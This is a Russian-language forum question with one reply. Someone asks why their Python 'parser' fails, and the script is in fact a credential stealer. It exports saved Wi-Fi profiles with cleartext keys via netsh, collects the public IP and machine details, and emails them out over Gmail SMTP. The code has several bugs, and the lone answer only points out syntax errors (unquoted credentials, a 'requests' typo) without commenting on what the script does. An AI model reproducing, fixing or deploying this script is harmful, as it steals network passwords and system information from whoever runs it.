Почему не работает код написанный на питоне?
Хотел сделать парсер на питоне но почему-то не работает. Вот код:
import subprocess as sp
from xml.dom import minidom
import requests
from time import sleep
import platform as pf
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
sp.call( 'netsh wlan show profile' )
sp.call( 'netsh wlan export profile folder=storage\emulated\ key =clear' )
sleep( 2 )
def wifi_parce():
doc = minidom.parse( 'storage\emulated\Беспровадная сеть-Mirjalol.xml' )
wifi_name = doc.getElementsByTagName( 'name' )
wifi_password = doc.getElementsByTagName( 'keyMaterial' )
global data
data = f'Wi-Fi name : { wifi_name}\nWi-Fi password : { wifi_password }'
def get_ip():
response = ruquests.get( 'https://myip.dnsomatic.com' )
ip = response.text
global data_ip
data_ip = f'IP ADDRESS : { ip }'
def info_pc():
processor = pf.processor()
name_sys = pf.system + ' ' + pf.release()
net_pc = pf.node()
ip_pc = socket.gethostbyname( socket.gethostname() )
global data_pc
data_pc = f'''
Процессор : { processor }\n
Система : { name_sys }\n
Сетевое имя ПК : { net_pc }\n
IP ADDRESS ПК : { ip_pc }\n
'''
def all_info():
global data_all_info
data_all_info = f'{ data }\n{ data_ip }\n{ data_pc }'
def send_mail():
msg = MIMEMultipart()
msg[ 'Subject' ] = 'Info of PC'
msg[ 'From' ] = '[email protected]'
body = data_all_info
msg.attach( MIMEText( body, 'plain' ) )
server = smtplib.SMTP_SSL( 'smt.gmail.com', 465 )
server.login( [email protected], mypassword)
server.sendmail( [email protected], mypassword, msg.as_string() )
server.quit()
def main():
wifi_parce()
get_ip()
info_pc()
all_info()
send_mail()
main()
Ответы (1 шт):
Автор решения: Zhihar
→ Ссылка
во-первых server.login( [email protected], mypassword) server.sendmail( [email protected], mypassword, msg.as_string() )
логин и пароль прямо так передаёте? не в виде строки?
во-вторых:
response = ruquests.get('https://myip.dnsomatic.com')
точно ruquests, а не requests?